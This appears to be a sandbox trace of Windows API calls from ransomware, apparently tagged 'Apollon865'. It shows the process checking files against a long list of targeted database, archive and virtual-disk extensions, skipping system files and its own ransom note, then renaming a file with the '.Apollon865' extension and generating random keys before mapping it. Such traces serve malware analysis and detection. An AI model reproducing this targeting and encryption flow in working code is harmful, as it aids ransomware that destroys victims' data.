	[0047.394] lstrlenW (lpString="dp1") returned 3
	[0047.394] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1
	[0047.394] lstrlenW (lpString="dqy") returned 3
	[0047.394] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1
	[0047.394] lstrlenW (lpString="dsk") returned 3
	[0047.394] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1
	[0047.394] lstrlenW (lpString="dsn") returned 3
	[0047.394] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1
	[0047.394] lstrlenW (lpString="dtsx") returned 4
	[0047.394] lstrcmpiW (lpString1="h-ms", lpString2="dtsx") returned 1
	[0047.394] lstrlenW (lpString="dxl") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1
	[0047.395] lstrlenW (lpString="eco") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1
	[0047.395] lstrlenW (lpString="ecx") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1
	[0047.395] lstrlenW (lpString="edb") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1
	[0047.395] lstrlenW (lpString="epim") returned 4
	[0047.395] lstrcmpiW (lpString1="h-ms", lpString2="epim") returned 1
	[0047.395] lstrlenW (lpString="fcd") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1
	[0047.395] lstrlenW (lpString="fdb") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1
	[0047.395] lstrlenW (lpString="fic") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1
	[0047.395] lstrlenW (lpString="flexolibrary") returned 12
	[0047.395] lstrcmpiW (lpString1="re.search-ms", lpString2="flexolibrary") returned 1
	[0047.395] lstrlenW (lpString="fm5") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1
	[0047.395] lstrlenW (lpString="fmp") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1
	[0047.395] lstrlenW (lpString="fmp12") returned 5
	[0047.395] lstrcmpiW (lpString1="ch-ms", lpString2="fmp12") returned -1
	[0047.395] lstrlenW (lpString="fmpsl") returned 5
	[0047.395] lstrcmpiW (lpString1="ch-ms", lpString2="fmpsl") returned -1
	[0047.395] lstrlenW (lpString="fol") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1
	[0047.395] lstrlenW (lpString="fp3") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1
	[0047.395] lstrlenW (lpString="fp4") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1
	[0047.395] lstrlenW (lpString="fp5") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1
	[0047.395] lstrlenW (lpString="fp7") returned 3
	[0047.395] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1
	[0047.396] lstrlenW (lpString="fpt") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1
	[0047.396] lstrlenW (lpString="frm") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1
	[0047.396] lstrlenW (lpString="gdb") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0047.396] lstrlenW (lpString="gdb") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0047.396] lstrlenW (lpString="grdb") returned 4
	[0047.396] lstrcmpiW (lpString1="h-ms", lpString2="grdb") returned 1
	[0047.396] lstrlenW (lpString="gwi") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1
	[0047.396] lstrlenW (lpString="hdb") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1
	[0047.396] lstrlenW (lpString="his") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1
	[0047.396] lstrlenW (lpString="ib") returned 2
	[0047.396] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1
	[0047.396] lstrlenW (lpString="idb") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1
	[0047.396] lstrlenW (lpString="ihx") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1
	[0047.396] lstrlenW (lpString="itdb") returned 4
	[0047.396] lstrcmpiW (lpString1="h-ms", lpString2="itdb") returned -1
	[0047.396] lstrlenW (lpString="itw") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1
	[0047.396] lstrlenW (lpString="jet") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1
	[0047.396] lstrlenW (lpString="jtx") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1
	[0047.396] lstrlenW (lpString="kdb") returned 3
	[0047.396] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1
	[0047.396] lstrlenW (lpString="kexi") returned 4
	[0047.396] lstrcmpiW (lpString1="h-ms", lpString2="kexi") returned -1
	[0047.397] lstrlenW (lpString="kexic") returned 5
	[0047.397] lstrcmpiW (lpString1="ch-ms", lpString2="kexic") returned -1
	[0047.397] lstrlenW (lpString="kexis") returned 5
	[0047.397] lstrcmpiW (lpString1="ch-ms", lpString2="kexis") returned -1
	[0047.397] lstrlenW (lpString="lgc") returned 3
	[0047.397] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1
	[0047.397] lstrlenW (lpString="lwx") returned 3
	[0047.397] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1
	[0047.397] lstrlenW (lpString="maf") returned 3
	[0047.397] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1
	[0047.397] lstrlenW (lpString="maq") returned 3
	[0047.397] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1
	[0047.397] lstrlenW (lpString="mar") returned 3
	[0047.397] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1
	[0047.397] lstrlenW (lpString="marshal") returned 7
	[0047.397] lstrcmpiW (lpString1="arch-ms", lpString2="marshal") returned -1
	[0047.397] lstrlenW (lpString="mas") returned 3
	[0047.397] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1
	[0047.397] lstrlenW (lpString="mav") returned 3
	[0047.397] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1
	[0047.397] lstrlenW (lpString="maw") returned 3
	[0047.397] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1
	[0047.397] lstrlenW (lpString="mdbhtml") returned 7
	[0047.397] lstrcmpiW (lpString1="arch-ms", lpString2="mdbhtml") returned -1
	[0047.397] lstrlenW (lpString="mdn") returned 3
	[0047.397] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1
	[0047.397] lstrlenW (lpString="mdt") returned 3
	[0047.397] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1
	[0047.397] lstrlenW (lpString="mfd") returned 3
	[0047.397] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1
	[0047.397] lstrlenW (lpString="mpd") returned 3
	[0047.397] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1
	[0047.397] lstrlenW (lpString="mrg") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1
	[0047.398] lstrlenW (lpString="mud") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1
	[0047.398] lstrlenW (lpString="mwb") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1
	[0047.398] lstrlenW (lpString="myd") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1
	[0047.398] lstrlenW (lpString="ndf") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1
	[0047.398] lstrlenW (lpString="nnt") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1
	[0047.398] lstrlenW (lpString="nrmlib") returned 6
	[0047.398] lstrcmpiW (lpString1="rch-ms", lpString2="nrmlib") returned 1
	[0047.398] lstrlenW (lpString="ns2") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1
	[0047.398] lstrlenW (lpString="ns3") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1
	[0047.398] lstrlenW (lpString="ns4") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1
	[0047.398] lstrlenW (lpString="nsf") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1
	[0047.398] lstrlenW (lpString="nv") returned 2
	[0047.398] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1
	[0047.398] lstrlenW (lpString="nv2") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1
	[0047.398] lstrlenW (lpString="nwdb") returned 4
	[0047.398] lstrcmpiW (lpString1="h-ms", lpString2="nwdb") returned -1
	[0047.398] lstrlenW (lpString="nyf") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1
	[0047.398] lstrlenW (lpString="odb") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0047.398] lstrlenW (lpString="odb") returned 3
	[0047.398] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0047.399] lstrlenW (lpString="oqy") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1
	[0047.399] lstrlenW (lpString="ora") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1
	[0047.399] lstrlenW (lpString="orx") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1
	[0047.399] lstrlenW (lpString="owc") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1
	[0047.399] lstrlenW (lpString="p96") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1
	[0047.399] lstrlenW (lpString="p97") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1
	[0047.399] lstrlenW (lpString="pan") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1
	[0047.399] lstrlenW (lpString="pdb") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1
	[0047.399] lstrlenW (lpString="pdm") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1
	[0047.399] lstrlenW (lpString="pnz") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1
	[0047.399] lstrlenW (lpString="qry") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1
	[0047.399] lstrlenW (lpString="qvd") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1
	[0047.399] lstrlenW (lpString="rbf") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1
	[0047.399] lstrlenW (lpString="rctd") returned 4
	[0047.399] lstrcmpiW (lpString1="h-ms", lpString2="rctd") returned -1
	[0047.399] lstrlenW (lpString="rod") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1
	[0047.399] lstrlenW (lpString="rodx") returned 4
	[0047.399] lstrcmpiW (lpString1="h-ms", lpString2="rodx") returned -1
	[0047.399] lstrlenW (lpString="rpd") returned 3
	[0047.399] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1
	[0047.400] lstrlenW (lpString="rsd") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1
	[0047.400] lstrlenW (lpString="sas7bdat") returned 8
	[0047.400] lstrcmpiW (lpString1="earch-ms", lpString2="sas7bdat") returned -1
	[0047.400] lstrlenW (lpString="sbf") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1
	[0047.400] lstrlenW (lpString="scx") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1
	[0047.400] lstrlenW (lpString="sdb") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1
	[0047.400] lstrlenW (lpString="sdc") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1
	[0047.400] lstrlenW (lpString="sdf") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1
	[0047.400] lstrlenW (lpString="sis") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1
	[0047.400] lstrlenW (lpString="spq") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1
	[0047.400] lstrlenW (lpString="te") returned 2
	[0047.400] lstrcmpiW (lpString1="ms", lpString2="te") returned -1
	[0047.400] lstrlenW (lpString="teacher") returned 7
	[0047.400] lstrcmpiW (lpString1="arch-ms", lpString2="teacher") returned -1
	[0047.400] lstrlenW (lpString="tmd") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1
	[0047.400] lstrlenW (lpString="tps") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1
	[0047.400] lstrlenW (lpString="trc") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0047.400] lstrlenW (lpString="trc") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0047.400] lstrlenW (lpString="trm") returned 3
	[0047.400] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1
	[0047.400] lstrlenW (lpString="udb") returned 3
	[0047.401] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1
	[0047.401] lstrlenW (lpString="udl") returned 3
	[0047.401] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1
	[0047.401] lstrlenW (lpString="usr") returned 3
	[0047.401] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1
	[0047.401] lstrlenW (lpString="v12") returned 3
	[0047.401] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1
	[0047.401] lstrlenW (lpString="vis") returned 3
	[0047.401] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1
	[0047.401] lstrlenW (lpString="vpd") returned 3
	[0047.401] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1
	[0047.401] lstrlenW (lpString="vvv") returned 3
	[0047.401] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1
	[0047.401] lstrlenW (lpString="wdb") returned 3
	[0047.401] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1
	[0047.401] lstrlenW (lpString="wmdb") returned 4
	[0047.401] lstrcmpiW (lpString1="h-ms", lpString2="wmdb") returned -1
	[0047.401] lstrlenW (lpString="wrk") returned 3
	[0047.401] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1
	[0047.401] lstrlenW (lpString="xdb") returned 3
	[0047.401] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1
	[0047.401] lstrlenW (lpString="xld") returned 3
	[0047.401] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1
	[0047.401] lstrlenW (lpString="xmlff") returned 5
	[0047.401] lstrcmpiW (lpString1="ch-ms", lpString2="xmlff") returned -1
	[0047.401] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Searches\\Everywhere.search-ms.Apollon865") returned 57
	[0047.401] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms"), lpNewFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms.Apollon865" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms.apollon865"), dwFlags=0x1) returned 1
	[0047.402] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms.Apollon865" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0047.402] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=248) returned 1
	[0047.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0047.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0047.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0047.403] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0047.403] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0047.403] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.404] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400, lpName=0x0) returned 0x150
	[0047.415] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x400) returned 0x100000
	[0047.455] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0047.456] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0047.456] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0047.456] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0047.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0047.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0047.456] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0047.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0047.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2af8
	[0047.456] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0047.456] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2af8 | out: hHeap=0x580000) returned 1
	[0047.456] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0047.457] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0047.457] CloseHandle (hObject=0x150) returned 1
	[0047.457] CloseHandle (hObject=0x15c) returned 1
	[0047.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0047.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0047.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0047.457] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df758b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2df758b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0047.457] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0047.457] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1
	[0047.457] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.457] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="Apollon865.txt.exe") returned 1
	[0047.457] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".") returned 1
	[0047.457] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="..") returned 1
	[0047.457] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="windows") returned -1
	[0047.457] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="bootmgr") returned 1
	[0047.457] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="temp") returned -1
	[0047.457] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="pagefile.sys") returned -1
	[0047.457] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="boot") returned 1
	[0047.457] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="ids.txt") returned 1
	[0047.457] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="ntuser.dat") returned -1
	[0047.457] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="perflogs") returned -1
	[0047.458] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2="MSBuild") returned -1
	[0047.458] lstrlenW (lpString="Indexed Locations.search-ms") returned 27
	[0047.458] lstrlenW (lpString="C:\\Users\\Default\\Searches\\Everywhere.search-ms") returned 46
	[0047.458] lstrcpyW (in: lpString1=0x119e63c, lpString2="Indexed Locations.search-ms" | out: lpString1="Indexed Locations.search-ms") returned="Indexed Locations.search-ms"
	[0047.458] lstrlenW (lpString="Indexed Locations.search-ms") returned 27
	[0047.458] lstrlenW (lpString="Apollon865") returned 10
	[0047.458] lstrcmpiW (lpString1=".search-ms", lpString2="Apollon865") returned -1
	[0047.458] lstrlenW (lpString=".dll") returned 4
	[0047.458] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".dll") returned 1
	[0047.458] lstrlenW (lpString=".lnk") returned 4
	[0047.458] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".lnk") returned 1
	[0047.458] lstrlenW (lpString=".ini") returned 4
	[0047.458] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".ini") returned 1
	[0047.458] lstrlenW (lpString=".sys") returned 4
	[0047.458] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".sys") returned 1
	[0047.458] lstrlenW (lpString="Indexed Locations.search-ms") returned 27
	[0047.458] lstrlenW (lpString="bak") returned 3
	[0047.458] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0047.458] lstrlenW (lpString="ba_") returned 3
	[0047.458] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0047.458] lstrlenW (lpString="dbb") returned 3
	[0047.458] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0047.458] lstrlenW (lpString="vmdk") returned 4
	[0047.458] lstrcmpiW (lpString1="h-ms", lpString2="vmdk") returned -1
	[0047.458] lstrlenW (lpString="rar") returned 3
	[0047.458] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0047.458] lstrlenW (lpString="zip") returned 3
	[0047.458] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0047.458] lstrlenW (lpString="tgz") returned 3
	[0047.458] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0047.458] lstrlenW (lpString="vbox") returned 4
	[0047.458] lstrcmpiW (lpString1="h-ms", lpString2="vbox") returned -1
	[0047.459] lstrlenW (lpString="vdi") returned 3
	[0047.459] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0047.459] lstrlenW (lpString="vhd") returned 3
	[0047.459] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0047.459] lstrlenW (lpString="vhdx") returned 4
	[0047.459] lstrcmpiW (lpString1="h-ms", lpString2="vhdx") returned -1
	[0047.459] lstrlenW (lpString="avhd") returned 4
	[0047.459] lstrcmpiW (lpString1="h-ms", lpString2="avhd") returned 1
	[0047.459] lstrlenW (lpString="db") returned 2
	[0047.459] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0047.459] lstrlenW (lpString="db2") returned 3
	[0047.459] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0047.459] lstrlenW (lpString="db3") returned 3
	[0047.459] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0047.459] lstrlenW (lpString="dbf") returned 3
	[0047.459] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0047.459] lstrlenW (lpString="mdf") returned 3
	[0047.459] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0047.459] lstrlenW (lpString="mdb") returned 3
	[0047.459] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0047.459] lstrlenW (lpString="sql") returned 3
	[0047.459] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0047.459] lstrlenW (lpString="sqlite") returned 6
	[0047.459] lstrcmpiW (lpString1="rch-ms", lpString2="sqlite") returned -1
	[0047.459] lstrlenW (lpString="sqlite3") returned 7
	[0047.459] lstrcmpiW (lpString1="arch-ms", lpString2="sqlite3") returned -1
	[0047.459] lstrlenW (lpString="sqlitedb") returned 8
	[0047.459] lstrcmpiW (lpString1="earch-ms", lpString2="sqlitedb") returned -1
	[0047.459] lstrlenW (lpString="xml") returned 3
	[0047.459] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0047.459] lstrlenW (lpString="$er") returned 3
	[0047.459] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0047.459] lstrlenW (lpString="4dd") returned 3
	[0047.459] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0047.460] lstrlenW (lpString="4dl") returned 3
	[0047.460] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0047.460] lstrlenW (lpString="^^^") returned 3
	[0047.460] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0047.460] lstrlenW (lpString="abs") returned 3
	[0047.460] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0047.460] lstrlenW (lpString="abx") returned 3
	[0047.460] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0047.460] lstrlenW (lpString="accdb") returned 5
	[0047.460] lstrcmpiW (lpString1="ch-ms", lpString2="accdb") returned 1
	[0047.460] lstrlenW (lpString="accdc") returned 5
	[0047.460] lstrcmpiW (lpString1="ch-ms", lpString2="accdc") returned 1
	[0047.460] lstrlenW (lpString="accde") returned 5
	[0047.460] lstrcmpiW (lpString1="ch-ms", lpString2="accde") returned 1
	[0047.460] lstrlenW (lpString="accdr") returned 5
	[0047.460] lstrcmpiW (lpString1="ch-ms", lpString2="accdr") returned 1
	[0047.460] lstrlenW (lpString="accdt") returned 5
	[0047.460] lstrcmpiW (lpString1="ch-ms", lpString2="accdt") returned 1
	[0047.460] lstrlenW (lpString="accdw") returned 5
	[0047.460] lstrcmpiW (lpString1="ch-ms", lpString2="accdw") returned 1
	[0047.460] lstrlenW (lpString="accft") returned 5
	[0047.460] lstrcmpiW (lpString1="ch-ms", lpString2="accft") returned 1
	[0047.460] lstrlenW (lpString="adb") returned 3
	[0047.460] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0047.460] lstrlenW (lpString="adb") returned 3
	[0047.460] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0047.460] lstrlenW (lpString="ade") returned 3
	[0047.460] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0047.460] lstrlenW (lpString="adf") returned 3
	[0047.460] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0047.460] lstrlenW (lpString="adn") returned 3
	[0047.460] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0047.460] lstrlenW (lpString="adp") returned 3
	[0047.460] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0047.461] lstrlenW (lpString="alf") returned 3
	[0047.461] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0047.461] lstrlenW (lpString="ask") returned 3
	[0047.461] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0047.461] lstrlenW (lpString="btr") returned 3
